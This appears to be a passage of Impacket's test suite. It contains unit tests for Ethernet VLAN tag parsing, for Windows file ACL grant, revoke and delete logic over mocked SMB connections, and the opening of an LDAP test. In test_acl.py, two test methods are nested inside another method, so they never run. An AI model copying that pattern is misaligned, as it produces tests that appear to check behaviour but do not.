    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom array import array\nfrom impacket.ImpactPacket import Ethernet, EthernetTag\n\n\nclass TestEthernet(unittest.TestCase):\n\n    def setUp(self):\n        # Ethernet frame with a 802.1Q tag (TPID=0x8100, PCP=5, DEI=0, VID=3315)\n        # and ethertype 0x0800 (IPv4)\n        self.frame = b'\\x54\\xab\\xa3\\xb9\\x38\\x3d\\xe2\\xef\\x8d\\xc7\\xa8\\x5e\\x81\\x00\\xac\\xf3\\x08\\x00'\n        self.eth = Ethernet(self.frame)\n\n    def test_01(self):\n        \"\"\"Test Ethernet getters\"\"\"\n        self.assertEqual(self.eth.get_packet(), self.frame)\n        self.assertEqual(self.eth.get_header_size(), 18)\n        self.assertEqual(self.eth.get_ether_type(), 0x0800)\n\n        # Check source and destination MACs\n        self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[0:6]))\n        self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[6:12]))\n\n    def test_02(self):\n        \"\"\"Test Ethernet setters\"\"\"\n        self.eth.set_ether_type(0x88cc)\n        self.assertEqual(self.eth.get_ether_type(), 0x88cc)\n\n        # Swap source and destination MACs\n        dhost = self.eth.get_ether_dhost()\n        shost = self.eth.get_ether_shost()\n        self.eth.set_ether_dhost(shost)\n        self.eth.set_ether_shost(dhost)\n        self.assertEqual(self.eth.get_ether_dhost(), array('B', self.frame[6:12]))\n        self.assertEqual(self.eth.get_ether_shost(), array('B', self.frame[0:6]))\n\n    def test_03(self):\n        \"\"\"Test EthernetTag getters\"\"\"\n        tag = self.eth.pop_tag()\n        self.assertEqual(tag.get_buffer_as_string(),b'\\x81\\x00\\xac\\xf3')\n        self.assertEqual(tag.get_tpid(), 0x8100)\n        self.assertEqual(tag.get_pcp(), 5)\n        self.assertEqual(tag.get_dei(), 0)\n        self.assertEqual(tag.get_vid(), 3315)\n\n    def test_04(self):\n        \"\"\"Test EthernetTag setters\"\"\"\n        tag = self.eth.pop_tag()\n        tag.set_tpid(0x88a8)\n        tag.set_pcp(2)\n        tag.set_dei(1)\n        tag.set_vid(876)\n        self.assertEqual(tag.get_buffer_as_string(), b'\\x88\\xa8\\x53\\x6c')\n\n    def test_05(self):\n        \"\"\"Test manipulation with VLAN tags\"\"\"\n        def check_tags(*tags):\n            self.assertEqual(self.eth.tag_cnt, len(tags))\n            self.assertEqual(self.eth.get_header_size(), 14 + 4*len(tags))\n            self.assertEqual(self.eth.get_ether_type(), 0x0800)\n            for i,tag in enumerate(tags):\n                self.assertEqual(self.eth.get_tag(i).get_buffer_as_string(), tag)\n\n        # Add S-tag (outer tag, closest to the Ethernet header)\n        self.eth.push_tag(EthernetTag(0x88a85001))\n        check_tags(b'\\x88\\xa8\\x50\\x01', b'\\x81\\x00\\xac\\xf3')\n\n        # Set C-tag (inner tag, closest to the payload) to default\n        self.eth.set_tag(1, EthernetTag())\n        check_tags(b'\\x88\\xa8\\x50\\x01', b'\\x81\\x00\\x00\\x00')\n\n        # Insert a deprecated 802.1QinQ header between S-tag and C-tag\n        self.eth.push_tag(EthernetTag(0x910054d2), index=1)\n        check_tags(b'\\x88\\xa8\\x50\\x01', b'\\x91\\x00\\x54\\xd2', b'\\x81\\x00\\x00\\x00')\n\n        # Test negative indices\n        tags = {}\n        for i in range(-3,3):\n            tags[i] = self.eth.get_tag(i).get_buffer_as_string()\n\n        self.assertEqual(tags[-1], tags[2])\n        self.assertEqual(tags[-2], tags[1])\n        self.assertEqual(tags[-3], tags[0])\n\n        # Accessing non-existent tags raises IndexError\n        self.assertRaises(IndexError, self.eth.get_tag, 3)\n        self.assertRaises(IndexError, self.eth.get_tag, -4)\n        self.assertRaises(IndexError, self.eth.set_tag, 3, EthernetTag())\n        self.assertRaises(IndexError, self.eth.set_tag, -4, EthernetTag())\n\n        # Test Ethernet constructor\n        data = self.eth.get_buffer_as_string()\n        eth_copy = Ethernet(data)\n        self.assertEqual(eth_copy.tag_cnt, 3)\n        self.assertEqual(eth_copy.get_header_size(), 26)\n        self.assertEqual(eth_copy.get_ether_type(), 0x0800)\n\n        # Remove the deprecated 802.1QinQ header and check resulting frame\n        eth_copy.pop_tag(1)\n        self.assertEqual(eth_copy.tag_cnt, 2)\n        self.assertEqual(eth_copy.get_packet(), self.frame[:12] + tags[0] + tags[2] + self.frame[-2:])\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/__init__.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n"
  },
  {
    "path": "tests/SMB_RPC/test_acl.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Tests for the acl module (Windows ACL management over SMB)\n#\n# Author:\n#   Gefen Altshuler (@gaffner)\n#\nfrom __future__ import print_function\nimport unittest\nfrom unittest import mock\nfrom unittest.mock import MagicMock, patch\n\nfrom impacket.acl import (\n    SMBFileACL, FileNTACE, ACL_SID, FileNTUser, SecurityAttributes,\n    SUPPORTED_PERMISSIONS\n)\nfrom impacket.smb3structs import FileSecInformation\n\n\nclass TestSMBFileACL(unittest.TestCase):\n    \"\"\"Test suite for SMBFileACL class\"\"\"\n\n    @staticmethod\n    def get_mock_smb_file_acl():\n        \"\"\"\n        Create a mocked SMBFileACL instance with patched SMB connection\n        \"\"\"\n        with patch('impacket.acl.SMBConnection'), \\\n             patch('impacket.acl.SMBTransport'):\n            acl_manager = SMBFileACL(\n                ip='192.168.1.100',\n                remote_name='TestServer',\n                username='testuser',\n                password='testpass',\n                domain='TESTDOM'\n            )\n            # Mock the policy handle\n            acl_manager.policy_handle = MagicMock()\n            return acl_manager\n\n    @patch('impacket.acl.lsat.hLsarLookupNames3')\n    def test_name_to_sid(self, mock_lookup):\n        \"\"\"Test converting username to SID\"\"\"\n        # Mock the LSA response\n        mock_sid = MagicMock()\n        mock_sid.getData.return_value = b'\\x00\\x00\\x00\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        mock_lookup.return_value = {\n            'TranslatedSids': {\n                'Sids': [{'Sid': mock_sid}]\n            }\n        }\n        \n        acl_manager = self.get_mock_smb_file_acl()\n        sid_bytes = acl_manager.name_to_sid('Administrator')\n        \n        # Verify the SID bytes (skip first 4 bytes which are the count attribute)\n        self.assertEqual(len(sid_bytes), 28)\n        mock_lookup.assert_called_once()\n\n    def test_permissions_to_ace_grant(self):\n        \"\"\"Test converting permissions string to ACE for grant action\"\"\"\n        acl_manager = self.get_mock_smb_file_acl()\n        \n        # Mock name_to_sid\n        test_sid = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        with patch.object(acl_manager, 'name_to_sid', return_value=test_sid):\n            ace = acl_manager.permissions_to_ace('Administrator', 'R,W', 'grant')\n        \n        self.assertIsInstance(ace, FileNTACE)\n        self.assertEqual(ace.action, 'grant')\n        # Check that permissions were OR'd together\n        expected_rights = SUPPORTED_PERMISSIONS['R'] | SUPPORTED_PERMISSIONS['W']\n        ace_rights = (ace['SpecificRights'] | \n                     (ace['StandardRights'] << 16) | \n                     (ace['GenericRights'] << 24))\n        self.assertGreater(ace_rights, 0)\n\n    def test_permissions_to_ace_invalid_permission(self):\n        \"\"\"Test handling of invalid permissions\"\"\"\n        acl_manager = self.get_mock_smb_file_acl()\n        \n        test_sid = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        with patch.object(acl_manager, 'name_to_sid', return_value=test_sid):\n            # Should raise exception when no valid permissions\n            with self.assertRaises(Exception) as context:\n                acl_manager.permissions_to_ace('Administrator', 'Z,Y,Q', 'grant')\n            self.assertIn(\"No valid permissions\", str(context.exception))\n\n    def test_insert_permission_grant_new_ace(self):\n        \"\"\"Test granting permissions by adding a new ACE\"\"\"\n        # Original security descriptor with one ACE\n        sec_blob = (\n            b'\\x01\\x00\\x04\\x80\\x14\\x00\\x00\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00L\\x00\\x00\\x00'\n            b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xe9\\x03\\x00\\x00'\n            b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\x01\\x02\\x00\\x00'\n            b'\\x02\\x00l\\x00\\x04\\x00\\x00\\x00'\n            b'\\x00\\x10$\\x00\\xff\\x01\\x1f\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xe9\\x03\\x00\\x00'\n            b'\\x00\\x10\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00'\n            b'\\x00\\x10\\x18\\x00\\xff\\x01\\x1f\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00'\n            b'\\x00\\x10\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x12\\x00\\x00\\x00'\n        )\n        \n        sec = FileSecInformation(sec_blob)\n        \n        # Create a new ACE for a different user with R,W permissions\n        new_sid = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        permissions = SUPPORTED_PERMISSIONS['R'] | SUPPORTED_PERMISSIONS['W']\n        ace_bytes = b'\\x00\\x00$\\x00' + permissions.to_bytes(4, 'little') + new_sid\n        new_ace = FileNTACE(ace_bytes)\n        new_ace.action = 'grant'\n        \n        result = SMBFileACL.insert_permission(sec, new_ace)\n        \n        # Verify the ACE count increased\n        result_ntuser = FileNTUser(result[sec[\"OffsetToDACL\"]:])\n        original_ntuser = FileNTUser(sec_blob[sec[\"OffsetToDACL\"]:])\n        self.assertEqual(result_ntuser['NumACEs'], original_ntuser['NumACEs'] + 1)\n        def test_set_permissions_closes_file_on_permission_resolution_error(self):\n            \"\"\"Ensure set_permissions closes file handles if permission resolution fails\"\"\"\n            acl_manager = self.get_mock_smb_file_acl()\n\n            # Simulate opening file; ensure close_file is called on error\n            acl_manager.open_file = MagicMock(return_value=(1, 2))\n            acl_manager.close_file = MagicMock()\n\n            with patch.object(acl_manager, 'permissions_to_ace', side_effect=Exception('name resolution failed')):\n                with self.assertRaises(Exception):\n                    acl_manager.set_permissions('SHARE', 'file.txt', 'NonExistentUser', 'R', 'grant')\n\n            acl_manager.close_file.assert_called_once()\n\n        def test_get_permissions_closes_file_on_query_error(self):\n            \"\"\"Ensure get_permissions closes file handles if querying file info fails\"\"\"\n            acl_manager = self.get_mock_smb_file_acl()\n\n            acl_manager.open_file = MagicMock(return_value=(1, 2))\n            acl_manager.close_file = MagicMock()\n\n            # Make queryInfo raise\n            acl_manager.connection._SMBConnection.queryInfo = MagicMock(side_effect=Exception('query failed'))\n\n            with self.assertRaises(Exception):\n                acl_manager.get_permissions('SHARE', 'file.txt')\n\n            acl_manager.close_file.assert_called_once()\n\n    def test_insert_permission_grant_existing_ace(self):\n        \"\"\"Test granting additional permissions to existing ACE (OR operation)\"\"\"\n        # Security descriptor with existing ACE\n        sec_blob = (\n            b'\\x01\\x00\\x04\\x80\\x14\\x00\\x00\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00L\\x00\\x00\\x00'\n            b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xe9\\x03\\x00\\x00'\n            b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\x01\\x02\\x00\\x00'\n            b'\\x02\\x00\\x90\\x00\\x05\\x00\\x00\\x00'\n            b'\\x00\\x00$\\x00\\x9f\\x01\\x12\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n            b'\\x00\\x10$\\x00\\xff\\x01\\x1f\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xe9\\x03\\x00\\x00'\n            b'\\x00\\x10\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00'\n            b'\\x00\\x10\\x18\\x00\\xff\\x01\\x1f\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00'\n            b'\\x00\\x10\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x12\\x00\\x00\\x00'\n        )\n        \n        sec = FileSecInformation(sec_blob)\n        original_ntuser = FileNTUser(sec_blob[sec[\"OffsetToDACL\"]:])\n        \n        # Grant X,D permissions to existing user (already has R,W)\n        existing_sid = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        permissions = SUPPORTED_PERMISSIONS['X'] | SUPPORTED_PERMISSIONS['D']\n        ace_bytes = b'\\x00\\x00$\\x00' + permissions.to_bytes(4, 'little') + existing_sid\n        new_ace = FileNTACE(ace_bytes)\n        new_ace.action = 'grant'\n        \n        result = SMBFileACL.insert_permission(sec, new_ace)\n        \n        # ACE count should remain the same\n        result_ntuser = FileNTUser(result[sec[\"OffsetToDACL\"]:])\n        self.assertEqual(result_ntuser['NumACEs'], original_ntuser['NumACEs'])\n        \n        # Verify permissions were OR'd (should now have R,W,X,D)\n        result_ace = FileNTACE(result_ntuser['Buffer'])\n        self.assertGreater(result_ace['SpecificRights'], 0)\n\n    def test_insert_permission_revoke_partial(self):\n        \"\"\"Test revoking some permissions from existing ACE (AND NOT operation)\"\"\"\n        # Security descriptor with ACE that has R,W,X,D permissions\n        sec_blob = (\n            b'\\x01\\x00\\x04\\x80\\x14\\x00\\x00\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00L\\x00\\x00\\x00'\n            b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xe9\\x03\\x00\\x00'\n            b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\x01\\x02\\x00\\x00'\n            b'\\x02\\x00\\x90\\x00\\x05\\x00\\x00\\x00'\n            b'\\x00\\x00$\\x00\\xbf\\x01\\x13\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n            b'\\x00\\x10$\\x00\\xff\\x01\\x1f\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xe9\\x03\\x00\\x00'\n            b'\\x00\\x10\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00'\n            b'\\x00\\x10\\x18\\x00\\xff\\x01\\x1f\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00'\n            b'\\x00\\x10\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x12\\x00\\x00\\x00'\n        )\n        \n        sec = FileSecInformation(sec_blob)\n        original_ntuser = FileNTUser(sec_blob[sec[\"OffsetToDACL\"]:])\n        \n        # Revoke W,X permissions (keep R,D)\n        existing_sid = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        permissions = SUPPORTED_PERMISSIONS['W'] | SUPPORTED_PERMISSIONS['X']\n        ace_bytes = b'\\x00\\x00$\\x00' + permissions.to_bytes(4, 'little') + existing_sid\n        revoke_ace = FileNTACE(ace_bytes)\n        revoke_ace.action = 'revoke'\n        \n        result = SMBFileACL.insert_permission(sec, revoke_ace)\n        \n        # ACE should still exist (not all permissions removed)\n        result_ntuser = FileNTUser(result[sec[\"OffsetToDACL\"]:])\n        self.assertEqual(result_ntuser['NumACEs'], original_ntuser['NumACEs'])\n\n    def test_insert_permission_revoke_all(self):\n        \"\"\"Test revoking all permissions removes the ACE entirely\"\"\"\n        # Security descriptor with ACE that has only R,W permissions\n        sec_blob = (\n            b'\\x01\\x00\\x04\\x80\\x14\\x00\\x00\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00L\\x00\\x00\\x00'\n            b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xe9\\x03\\x00\\x00'\n            b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\x01\\x02\\x00\\x00'\n            b'\\x02\\x00\\x90\\x00\\x05\\x00\\x00\\x00'\n            b'\\x00\\x00$\\x00\\x9f\\x01\\x12\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n            b'\\x00\\x10$\\x00\\xff\\x01\\x1f\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xe9\\x03\\x00\\x00'\n            b'\\x00\\x10\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00'\n            b'\\x00\\x10\\x18\\x00\\xff\\x01\\x1f\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00'\n            b'\\x00\\x10\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x12\\x00\\x00\\x00'\n        )\n        \n        sec = FileSecInformation(sec_blob)\n        original_ntuser = FileNTUser(sec_blob[sec[\"OffsetToDACL\"]:])\n        \n        # Revoke R,W permissions (all the permissions this ACE has)\n        existing_sid = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        permissions = SUPPORTED_PERMISSIONS['R'] | SUPPORTED_PERMISSIONS['W']\n        ace_bytes = b'\\x00\\x00$\\x00' + permissions.to_bytes(4, 'little') + existing_sid\n        revoke_ace = FileNTACE(ace_bytes)\n        revoke_ace.action = 'revoke'\n        \n        result = SMBFileACL.insert_permission(sec, revoke_ace)\n        \n        # ACE should be removed (ACE count decreased)\n        result_ntuser = FileNTUser(result[sec[\"OffsetToDACL\"]:])\n        self.assertEqual(result_ntuser['NumACEs'], original_ntuser['NumACEs'] - 1)\n\n    def test_insert_permission_delete_ace(self):\n        \"\"\"Test deleting an entire ACE\"\"\"\n        # Security descriptor with multiple ACEs\n        sec_blob = (\n            b'\\x01\\x00\\x04\\x80\\x14\\x00\\x00\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00L\\x00\\x00\\x00'\n            b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xe9\\x03\\x00\\x00'\n            b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\x01\\x02\\x00\\x00'\n            b'\\x02\\x00\\x90\\x00\\x05\\x00\\x00\\x00'\n            b'\\x00\\x00$\\x00\\x9f\\x01\\x12\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n            b'\\x00\\x10$\\x00\\xff\\x01\\x1f\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xe9\\x03\\x00\\x00'\n            b'\\x00\\x10\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00'\n            b'\\x00\\x10\\x18\\x00\\xff\\x01\\x1f\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00'\n            b'\\x00\\x10\\x14\\x00\\xff\\x01\\x1f\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x12\\x00\\x00\\x00'\n        )\n        \n        sec = FileSecInformation(sec_blob)\n        original_ntuser = FileNTUser(sec_blob[sec[\"OffsetToDACL\"]:])\n        \n        # Delete the first ACE\n        existing_sid = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        ace_bytes = b'\\x00\\x00$\\x00\\x00\\x00\\x00\\x00' + existing_sid\n        delete_ace = FileNTACE(ace_bytes)\n        delete_ace.action = 'delete'\n        \n        result = SMBFileACL.insert_permission(sec, delete_ace)\n        \n        # ACE count should decrease by 1\n        result_ntuser = FileNTUser(result[sec[\"OffsetToDACL\"]:])\n        self.assertEqual(result_ntuser['NumACEs'], original_ntuser['NumACEs'] - 1)\n\n\nclass TestACLStructures(unittest.TestCase):\n    \"\"\"Test ACL structure classes\"\"\"\n\n    def test_acl_sid_repr(self):\n        \"\"\"Test SID string representation\"\"\"\n        # S-1-5-21-4190006963-579503432-2148133447-500\n        sid_bytes = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        sid = ACL_SID(sid_bytes)\n        \n        sid_str = str(sid)\n        self.assertTrue(sid_str.startswith('S-1-5-'))\n        parts = sid_str.split('-')\n        self.assertEqual(len(parts), 8)  # S-1-5-21-x-x-x-500\n\n    def test_acl_sid_build_from_string(self):\n        \"\"\"Test building SID from string\"\"\"\n        sid_str = 'S-1-5-18'\n        sid = ACL_SID.build_from_string(sid_str)\n        \n        self.assertIsInstance(sid, ACL_SID)\n        # Note: build_from_string has a known issue with Authority encoding\n        # but the basic structure should be present\n        self.assertEqual(sid['Revision'], 1)\n\n    def test_acl_sid_equality(self):\n        \"\"\"Test SID equality comparison\"\"\"\n        sid_bytes = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        sid1 = ACL_SID(sid_bytes)\n        sid2 = ACL_SID(sid_bytes)\n        \n        self.assertEqual(sid1, sid2)\n        self.assertEqual(hash(sid1), hash(sid2))\n\n    def test_file_ntace_flags(self):\n        \"\"\"Test ACE flag parsing\"\"\"\n        # Create ACE with inheritance flags\n        ace_bytes = b'\\x00\\x03$\\x00\\xff\\x01\\x1f\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        ace = FileNTACE(ace_bytes)\n        \n        flags = ace.get_readable_ntace_flags()\n        self.assertIn('(OI)', flags)  # Object Inherit\n        self.assertIn('(CI)', flags)  # Container Inherit\n\n    def test_file_ntace_full_control_display(self):\n        \"\"\"Test that full control doesn't show redundant standard rights\"\"\"\n        # ACE with full control (F)\n        ace_bytes = b'\\x00\\x10$\\x00\\xff\\x01\\x1f\\x00\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        ace = FileNTACE(ace_bytes)\n        \n        ace_str = str(ace)\n        # Should show (I)(F) not (I)(R)(w)(D)(F)\n        self.assertIn('(F)', ace_str)\n        # Count the number of opening parentheses (should be 2: (I) and (F))\n        self.assertLessEqual(ace_str.count('('), 2)\n\n    def test_file_ntace_partial_permissions_display(self):\n        \"\"\"Test that partial permissions show all components\"\"\"\n        # ACE with R,W permissions (not full control)\n        permissions = SUPPORTED_PERMISSIONS['R'] | SUPPORTED_PERMISSIONS['W']\n        ace_bytes = b'\\x00\\x00$\\x00' + permissions.to_bytes(4, 'little') + b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\xb3n\\xbe\\xf9H\\x85\\x8a\"G\\xea\\t\\x80\\xf4\\x01\\x00\\x00'\n        ace = FileNTACE(ace_bytes)\n        \n        ace_str = str(ace)\n        # Should not have (F) since it's not full control\n        self.assertNotIn('(F)', ace_str)\n\n    def test_security_attributes_repr(self):\n        \"\"\"Test SecurityAttributes string representation\"\"\"\n        owner_sid = ACL_SID.build_from_string('S-1-5-18')\n        group_sid = ACL_SID.build_from_string('S-1-5-32-544')\n        \n        attrs = SecurityAttributes('NT AUTHORITY\\\\SYSTEM', 'BUILTIN\\\\Administrators')\n        attrs.readable_dacls[owner_sid] = 'NT AUTHORITY\\\\SYSTEM:(I)(F)'\n        \n        attrs_str = str(attrs)\n        self.assertIn('Owner:', attrs_str)\n        self.assertIn('Group:', attrs_str)\n        self.assertIn('ACLs:', attrs_str)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/SMB_RPC/test_ldap.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom __future__ import division\nfrom __future__ import print_function\nimport pytest\nimport unittest\nfrom tests import RemoteTestCase\n\nfrom impacket.ldap import ldap, ldapasn1\nimport impacket.ldap.ldaptypes\nfrom impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR\n\n\nclass LDAPTests(RemoteTestCase):\n    def connect(self, login=True):\n        self.ldapConnection = ldap.LDAPConnection(self.url, self.baseDN, self.machine)\n        if login:\n            self.ldapConnection.login(self.username, self.password)\n        return self.ldapConnection\n\n    def tearDown(self):\n        if hasattr(self, \"ldapConnection\") and self.ldapConnection:\n            self.ldapConnection.close()\n\n    def dummySearch(self, ldapConnection):\n        # Let's do a search just to be sure it's working\n        searchFilter = \"(servicePrincipalName=*)\"\n\n        resp = ldapConnection.search(\n            searchFilter=searchFilter,\n            attributes=[\n                \"servicePrincipalName\",\n                \"sAMAccountName\",\n                \"userPrincipalName\",\n                \"MemberOf\",\n                \"pwdLastSet\",\n                \"whenCreated\",\n            ],\n        )\n        for item in resp:\n            print(item.prettyPrint())\n\n    def test_security_descriptor(self):\n        # Comment by @dirkjanm:\n        # To prevent false negatives in the test case, impacket.ldap.ldaptypes.RECALC_ACL_SIZE should be set to False\n        # in tests, since sometimes Windows has redundant null bytes after an ACE.Stripping those away makes the\n        # ACLs not match at 